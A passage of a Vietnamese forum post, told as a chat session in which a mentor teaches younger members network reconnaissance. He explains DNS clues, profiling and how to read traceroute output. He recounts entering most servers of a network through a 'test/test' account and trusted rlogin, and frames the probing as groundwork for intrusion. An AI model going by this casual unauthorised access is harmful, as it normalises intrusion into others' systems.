&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em tinh mắt lắm.  Chỉ vì 'test/test' mà làm anh tò mò và 'thử' thêm cho nên mới dẫn đến chỗ anh  vào gần như mọi server của mạng đó. Tay sysadmin này lười biếng nên hắn set mọi  server đều 'trusted' nên dùng 'rlogin' là vào tuồn tuột, khỏi password, khỏi gì  hết. Điều cần nhấn mạnh ở đây là những thông tin trông có vẻ nhỏ nhưng có thể  dẫn đến hậu quả khó lường. Người dùng, ngay cả sysadmin, mà lười biếng và thiếu  cẩn thận thì ở đâu cũng 'test/test'. Em có tin rằng nếu anh không thử thăm dò,  không query DNS và không thấy 'test' hiện lên thì chẳng có chuyện gì xảy ra  không? Đây là anh không có ý định thâm nhập, còn đối với kẻ thật sự có ý muốn  thâm nhập thì những thông tin này còn quý hơn... vàng :). Vậy, mấy đứa thử nghĩ  xem, đứng trên phương diện bảo mật, mình rút tỉa được điều gì ở đây?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' đáp lời ngay:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bỏ hết mấy cái 'test/test' phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' thêm vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thắt  chặt hệ thống phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười  xoà:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, một đứa thì quá cụ thể, một  đứa thì quá tổng quát. Cả hai đứa đều đúng nhưng ráng suy nghĩ thêm một chút để  tìm một câu trọn vẹn xem sao?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Cả hai  'ccxx' và 'docco' im lặng hồi lâu. 'docco' lên tiếng trước:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nghĩ là hệ thống ấy cần phải dấu hết những gì không cần công  bố với công cộng. Phải thiết kế lại mạng và hệ thống phòng thủ."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Gặp em thì em đuổi cổ cái tay sysadmin đó vì cái tội lười biếng  hoặc thiếu khả năng. Nếu hắn cẩn thận và chịu khó thì có lẽ anh không dễ dàng  thâm nhập đến như thế đâu." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"E hèm... cả hai đứa đều đúng hết. Chỉ có 'công  chúa xinh đẹp' hơi... hung dữ một tí thôi ;-). Nếu gom hai câu trả lời thành một  thì hoàn chỉnh rồi đó. Tuy nhiên, 'đuổi cổ' hắn như thế có thể hơi oan vì  sysadmin chưa hẳn là chuyên viên bảo mật đâu em. Có thể công tác chính của hắn  là làm sao cho hệ thống chạy ổn định là được rồi. Cái này cũng cho thấy một điều  là làm chuyên viên bảo mật hay chuyên viên 'thâm nhập' còn phải kinh nghiệm và  có khả năng nhìn sâu, rộng hơn sysadmin bình thường." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bây giờ  em mới hiểu được việc thăm dò quan trọng như thế nào. Quả thật những điều này  hết sức lý thú. Có thể em đọc chưa nhiều nhưng em có cảm giác những điều anh nói  ở đây toàn là 'kinh nghiệm xương máu' chớ chẳng thấy trong sách."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh đoan chắc là những người khác cũng 'thấy' những điều anh  'thấy' và hơn nữa. Điều quan trọng ở đây là khả năng nhận xét một cách nhạy bén.  Càng nhạy bén càng tốt. Từ thông tin trong HINFO đến những chi tiết rất nhỏ bé  khác trong quá trình thăm dò có thể dẫn đến những điều không thể ngờ trước được.  Đây cũng là điều giúp cho mình thấy là không có một công thức cụ thể nào cho  việc thâm nhập cả. Mọi chuyện là do tính nhạy bén và sáng tạo của mình mà ra  thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' hỏi thêm:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Có một số chi tiết anh đi lướt qua như 'open  relay', 'rlogin', 'trusted'.... em thấy lạ hoắc à. Đây có phải là những kiến  thức căn bản không anh? Em chưa hề nghe qua những cái này bao giờ."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Căn bản thì cũng không hẳn đâu em. Anh nhớ anh có đề cập đến  r series cho rlogin, rsh, rexec và 'trusted network' ... trong một lần  'đà khía' trước đây. Em hỏi cu Hưng bản lưu của lần trò chuyện đó về đọc. Những  cái này chỉ thấy trên UNIX là chính. Nó mang lại tính tiện dụng nhưng làm hỏng  tính bảo mật của hệ thống. Riêng khái niệm 'open relay' thì chỉ khi nào em thiết  kế một MTA (mail transfer agent), hay còn gọi là mail server thì mới đụng đến  vấn đề 'mail relay'. Ngay cả chỉ thiết kế nó cho chạy đưọc cũng không đụng tới  mail relay đâu. Chỉ khi nào em cần bảo mật nó thì mới đụng tới phương diện này.  Đại khái 'mail relay' là một cơ chế cho phép máy con thuộc mạng này dùng mail  server của mạng kia. Trên mặt nguyên tắc thì nó tiện dụng nhưng lại nguy hiểm vì  từ tiện dụng hoá thành... lạm dụng :). 'mail relay' là phương tiện chính cho nạn  spamming đang lan tràn trên Internet." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chắc bà Như chưa quen đó thôi. Anh D đi xuyên qua những vấn đề  được đặt ra rất tốc độ. Tui rút kinh nghiệm và viết xuống hết những từ khóa quan  trọng rồi về tự tìm hiểu sau. Có gì kẹt thì lần sau hỏi ảnh tiếp. Có những 'từ  khoá' mở ra thành nhiều trăm trang tài liệu, thành nhiều cuốn sách luôn đó bà  ơi. Lúc trước tui hơi ngỡ ngàng vì anh ấy chỉ thường giải thích các thắc mắc dựa  trên điều kiện là mình phải nắm ít nhiều căn bản. Dần dà, tui ngộ ra được điều  này, hi hi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy hả? có lẽ Như chưa đọc kỹ chi tiết của  những lần đối thoại trước. Chắc kỳ này phải đọc lại thật kỹ. Cám ơn ông 'chỉ  điểm' dùm nhe Duy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' nói tiếp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bây giờ em mới hiểu lý do tại sao ông Hưng lại  'nghiện' những cuộc 'đà khía' đến như vậy. Em có quan niệm là cả ngày đã 'ôm'  cái máy thì ban đêm nên dành thời gian cho chuyện khác nên mỗi lần ông Hưng mà  đề cập đến máy tính là em gạt ngang. Không ngờ anh em mình nói chuyện kỹ thuật  nhưng em cảm thấy thích thú và dễ chịu như đang trao đổi những chuyện bình  thường trong đời sống vậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười và  đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, 'skeptic blinds h(im)erself'.  Nên bước vào một sự việc với tinh thần và thái độ mở rộng không thì em tự động  hạn chế mình đó 'công chúa xinh đẹp'." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' đáp gọn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ, cám  ơn anh. Em sẽ suy gẫm thêm." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' tiếp  tục khai triển:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy query DNS là một bước  của quá trình thăm dò. Những gì tiếp sau đó vậy anh? À, em nhớ có một quyển sách  nói về chuyện thăm dò có dùng từ 'profiling' nữa. Có phải đây cũng là một loại  thăm dò?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Profile tạm dịch là 'sơ yếu lý lịch' và profiling có nghĩa là  'hành động hình thành sơ yếu lý lịch' đó em. Đây cũng là một thuật ngữ được dùng  trong công tác thăm dò. Ví dụ em muốn thăm dò một máy (host profiling), một mạng  (network profiling) hoặc một tổ chức (organisation profiling) thì em cần hình  thành một bảng 'sơ yếu lý lịch' cho từng mục tiêu. Trong bảng sơ yếu lý lịch này  em điền vào những thông tin tìm được trong quá trình thăm dò."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Đang trò chuyện tới đây thì 'cuti' vào.  Cu cậu xuýt xoa vì vào trễ và gởi cho tôi một thông điệp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Chào anh già khó tính :). Em đi công chuyện, gởi xe nhưng làm  mất thẻ gởi nên đủ thứ chuyện phiền phức, mất thời giờ. Anh với mấy đứa kia nói  chuyện lâu chưa anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp lời 'cuti'  bằng cách mời 'cuti' tham gia 'conference', kèm theo câu trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cũng khá lâu rồi em. Không sao đâu, mình còn  lai rai được vài chục phút nữa." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti'  vào 'conference' và xin lỗi mọi người vì vào trễ. Tôi tiếp tục trả lời  'docco':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tùy theo mục tiêu của em là một  host, một network hay cả một organisation, profiling sẽ cần nhiều hay ít thông  tin. Nguyên tắc căn bản áp dụng cho các mục tiêu đều như nhau. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- thứ nhất: em cần biết mục tiêu đang ở đâu, đang thuộc network  nào. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- thứ hai: em cần biết từ nơi em đang thực  hiện thăm dò đến mục tiêu cần thăm dò sẽ đi qua những chặng network nào.  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- thứ ba: em cần biết mục tiêu có những dịch vụ  nào. &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- thứ tư: em cần biết mục tiêu được bảo vệ  như thế nào. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Từ những thông tin thu thập  được, em sẽ hình thành một cái gọi là profile." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hay là  anh cho bọn em một ví dụ cụ thể đi anh? Em thấy cách này dễ 'tiêu hoá' nhất đó."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cũng được thôi em. Tuy nhiên, anh muốn tránh lối khai triển rập  khuôn, theo từng bước cho nên em đừng theo ví dụ mà thực hiện nếu em muốn thăm  dò. Nên vận dụng trí tưởng tượng của mình. Tất nhiên là em cần phải trau dồi một  số kiến thức căn bản về giao thức mạng, dịch vụ trên mạng và công cụ kiểm tra /  khắc phục sự cố cho mạng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi nói  tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Tiếp theo ví dụ lần trước về việc  thông tin lấy được từ DNS, anh biết một host anh đang thăm dò thuộc network  172.16.114.0. Tất nhiên chuỗi IP này là private IP dùng để làm ví dụ thôi nha.  Bọn em thừa biết mà phải không? Giả sử anh quyết định thăm dò kỹ lưỡng host  white từ thông tin lấy được xuyên qua DNS lần trước. Anh muốn xem từ máy  của anh (hoặc một terminal nào đó anh đang làm việc) đến host  white.domain.com qua bao nhiêu hops, nó có thể có firewall bảo vệ hay  không? thì anh dùng thử traceroute (tracert trên windows): &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="quotetxt"&gt;Code:&lt;/span&gt;&lt;span class="postbody"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;$ traceroute white.domain.com&lt;/pre&gt;&lt;pre&gt; traceroute to white.domain.com (172.16.114.161), 30 hops max, 38 byte packets&lt;/pre&gt;&lt;pre&gt; 1 redback (192.168.1.100) 0.538 ms 0.408 ms 0.355 ms 2&lt;/pre&gt;&lt;pre&gt; 2 cobweb (192.168.2.1) 13.528 ms 11.439 ms 10.712 ms&lt;/pre&gt;&lt;pre&gt; 3 reptile (172.16.100.1) &lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt; &lt;/span&gt;3 border.domain.com(172.16.114.10) 16.052 ms 14.238 ms 13.118 ms&lt;/pre&gt;&lt;pre&gt; 4 * * *&lt;/pre&gt;&lt;pre&gt; 5 * * *&lt;/pre&gt;&lt;pre&gt; .....&lt;/pre&gt;&lt;pre&gt; .....&lt;/pre&gt;&lt;pre&gt; $&lt;/pre&gt;&lt;pre&gt; &lt;/pre&gt; &lt;p class="MsoNormal"&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Kết quả trên cho thấy gì nhỉ?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' trả lời ngay:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em thì bó tay rồi đó anh. Em chẳng biết gì về mấy cái network  hết á." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nối tiếp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hình như anh chạy lệnh traceroute để tìm xem có  bao nhiêu hops đến host white.domain.com, còn những kết quả thì em không rõ lắm.  Hình như nó in ra thông tin mỗi khi nó đến một network router phải không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng rồi. Nếu em đọc kỹ TCP/IP Illustrated của Richard Stevens  em sẽ nhận ra ngay những giá trị ở trên." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em  cũng hiểu man mán như thằng Hưng vậy. Điều em không nắm rõ là tại sao nó in ra  những dấu hoa thị ở mấy dòng cuối." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đây là những kiến thức thông  thường về mạng. Nói một cách khác, traceroute là một công cụ thông dụng và là  một phương tiện thẩm định network quan trọng. Anh có thể giải thích một cách vắn  tắt như sau: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dòng đầu tiên: traceroute cho  biết là nó dò tuyến đi đến white.domain.com sau khi phân giải tên thành IP  172.16.114.161. Theo mặc định, nó chỉ dò đến 30 hops và dùng gói tin có kích  thước là 38 bytes. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dòng 1: đây là hop thứ  nhất traceroute đi qua. redback là tên của host, nó là một router dùng để  định tuyến gói tin từ network 192.168.1.0 sang network 102.168.2.0. Gói tin này  mất thời gian tối đa, trung bình và tối thiểu như đã hiển thị.  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dòng 2: đây là hop thứ nhì traceroute đi  qua. cobweb là một router khác định tuyến gói tin từ network 192.168.2.0  đến network 172.16.100.0. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dòng 3: đây là  hop thứ ba của traceroute. reptile là một router hay một firewall của  network 172.16.114.0, network này chứa mục tiêu white.domain.com của mình.  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- dòng thứ 4 trở đi: không có mấy thông tin.  Điều này chứng tỏ những hop kế tiếp không động tĩnh gì cả và traceroute hoàn  toàn không nắm bắt được thông tin gì cụ thể." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' thiếu kiên nhẫn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em vẫn chưa thấy có gì là bảo mật hay thâm nhập ở đây cả vậy  anh? Mấy cái này chỉ là kiến thức cần thiết cho một network admin thôi mà? Với  lại nữa, tại sao mình cần biết có bao nhiêu hops đến mục tiêu làm chi vậy anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cái ông này lại láu táu nữa rồi. Anh D đưa ra những chi tiết này  chắc chắn sẽ dẫn đến một điểm nào đó cần nắm. Sao ông hông thử kiên nhẫn thêm  một tí nữa coi sao?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đỡ lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh vẫn biết 'cuti' vẫn còn ám với những  thứ gọi là 'thâm nhập' bằng một công cụ mầu nhiệm nào đó. Để anh cắt nghĩa tiếp  cho nó đỡ bồn chồn." &lt;i&gt;Tôi nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Mình  cần biết số hops có nhiều lý do cần thiết sau này, tùy theo ý định thâm nhập  nữa. Ví dụ từ máy mình đến mục tiêu phải đi xuyên qua nhiều hops quá thì các kỹ  thuật rà tìm sau này phải điều chỉnh lại cho thích hợp để đỡ mất thời gian hoặc  để có kết quả chính xác hơn (vì có thể có những trường hợp gói tin bị mất). Sở  dĩ những thông tin thâu thập được rất quan trọng bởi vì chúng giúp em xác định  tổng quát mức bảo mật của mục tiêu em thăm dò. Trong trường hợp mình đang bàn ở  đây, nó tiết lộ một chi tiết rất quan trọng là ở hop thứ 3, border.domain.com có  thể hủy các gói UDP đi vào nhưng không hủy các gói ICMP đi ra để trả lời. Chứng  tỏ border.domain.com là một router rất chặt chẽ hoặc nó phải là một firewall có  những ấn định cụ thể. Tại sao mình biết &lt;i&gt;nó hủy các gói UDP đi vào nhưng không  hủy các gói ICMP đi ra để trả lời&lt;/i&gt;?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' thốt lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em  thua." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nối tiếp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em chẳng khá gì hơn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' chậm rãi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hình như cái này có liên quan đến cơ chế làm việc của traceroute  phải không anh? Tường tận vấn đề thì em đầu hàng rồi đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cu Duy đoán đúng  rồi đó. traceroute gởi gói tin UDP đến mục tiêu và tự động chọn cổng UDP nó gởi  đến. Chuỗi cổng này thường nằm trên dãy 30000. Nếu mục tiêu của mình  (white.domain.com) hoàn toàn không có gì bảo vệ (như một máy bình thường), chắc  chắn traceroute có thể liên hệ với nó qua các cổng trên dãy 30000 trở lên. Nếu  chính white.domain.com có cơ chế cản UDP hoặc host nào nằm bên ngoài (bảo vệ cho  nó) cản UDP giúp nó thì em thấy ngay mục tiêu em đang thăm dò không dễ dàng tí  nào." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' phát biểu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy thì cũng chưa có gì cụ thể cho việc thâm  nhập cả." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hơi cáu khi 'cuti' cứ nhấm  nhẳn chuyện thâm nhập trong khi đang bàn ở bước thăm dò. Tôi trả lời:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hưng à, hình như em quên là mình đang nói  chuyện thăm dò hay sao đó. Sao em cứ đeo mãi cái chuyện thâm nhập vậy? Em chưa  biết mục tiêu của em thế nào thì em thâm nhập cái con khỉ gì? Điều anh muốn phân  tích ở đây là muốn cho em thấy những kỹ năng và kiến thức cần thiết để ước lượng  tình thế. Từ đó, tránh việc phí thời gian để cố thâm nhập vào một mục tiêu quá  vững hoặc nghiêm trọng hơn nữa là tránh bị 'tóm' nếu mò mẫm không có căn. Giả sử  anh muốn thâm nhập một mục tiêu và ước lượng được tình thế khó khăn hoặc nguy  hiểm (vì dễ bị phát hiện), anh sẽ không phí thời gian hoặc liều lĩnh làm chuyện  này. Cái khổ là anh phải thẩm định và thăm dò trước khi đi đến chỗ quyết định  nên thâm nhập hay không nên thâm nhập. Không phải mục tiêu nào cũng có thể thâm  nhập và em nên gột rửa khỏi cái đầu em chuyện này: không có một thứ công cụ  mầu nhiệm nào giúp em thâm nhập một hệ thống và cũng chẳng có công thức cụ thể  nào cho việc thâm nhập cả. Thâm nhập được hay không là tùy thuộc ở mức phòng  thủ của mục tiêu và kiến thức, khả năng sáng tạo của em cho từng trường  hợp." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Thấy tôi có vẻ cáu, 'ccxx' đỡ  lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi anh, anh đừng cáu làm gì. Em thấy  mấy bữa nay ông Hưng làm sao đó. Hay mình nói chuyện khác cho vui rồi quay lại  chuyện này sau?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không sao đâu em. Anh hơi cáu thật bởi vì anh  không hiểu sao dạo này cu Hưng lại có vẻ rất thiếu kiên nhẫn. Những điều mình  bàn ở đây là phương pháp khai triển vấn đề chớ không phải lối "đút từng muỗng"  cho từng lệnh một. Anh muốn mấy đứa hiểu một điều tối quan trọng là bảo mật,  thâm nhập hay bất cứ thứ gì khác cũng cần phải có kiên nhẫn, căn cơ, ngọn ngành.  Anh nghĩ rằng anh lặp đi, lặp lại điểm này rất nhiều lần nhưng hình như khái  niệm này... khó tiêu hay sao đó :(. Ngay cả chuyện đơn giản như chuyện nấu cơm  chẳng hạn. Nếu em muốn nấu cho nhanh và cố nổi lửa lên cho lớn để mong cơm mau  chín thì chỉ tổ làm cho cơm khê khét ở dưới nhưng lại sống nhăn ở trên thôi. Em  làm toán, cộng trừ nhân chia chưa vững thì làm sao đụng đến căn số, lũy thừa và  những thứ cao cấp hơn? Còn chuyện cụ thể mình đang bàn ở đây là chuyện thăm  dò. Chưa thăm dò xong thì biết gì mà thâm nhập? Chỉ có mấy ông nhóc script  kiddie mới chơi trò lôi ở đâu ra một cái tool rồi nhắm mắt, nhắm mũi mà phang  đại thôi. Cái này y hệt như chuyện 'ping of death' đến Linux server mà anh đã kể  thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' lên tiếng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"È... èm... em thấy anh cáu là đúng nhưng anh  thông cảm cho thằng Hưng và bọn em nha anh? Dù sao bọn em cũng còn trẻ, cũng còn  bồng bột. Đâu có điềm đạm và kiên nhẫn như anh được. Riêng em thì em thấy mỗi  điểm anh nói đều mở ra những điều mới mẻ mà em cần phải tham khảo, nghiên cứu và  học hỏi. Không phải khái niệm "căn cơ, ngọn ngành" khó tiêu đâu anh mà là vì,  đôi khi bọn em hơi thiếu kiên nhẫn tí thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh  có cáu thì chỉ thoáng qua vậy thôi. Anh có 'care' thì mới cáu. Anh không 'care'  thì không cáu." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Không khí trong phòng  'conference' trở nên ngột ngạt. Mọi người im lặng như thể chẳng ai còn chuyện gì  để nói. Sau hồi lâu, tôi định lên tiếng thì đột nhiên 'cuti' phát biểu gọn  lỏn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng là 'anh già khó tính'."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi không kềm được, phá lên cười:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì hì." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;rồi cả ba đứa 'cuti', 'ccxx' và 'docco' cũng cười rộ:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi hi" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ha  ha ha" &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khẹc khẹc khẹc... tếu thật."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Không khí trở lại bình thường một cách  nhanh chóng. Tôi lên tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bây giờ anh đề  nghị mấy đứa làm một bài tập để lần sau mình nói chuyện dễ dàng hơn."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' thốt lên:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bài tập?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nối  tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bài tập gì đó anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' vẫn chậm rãi như mọi khi và hỏi  sau cùng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Bài tập cho chuyện gì vậy anh?"  &lt;/span&gt;
&lt;br /&gt;
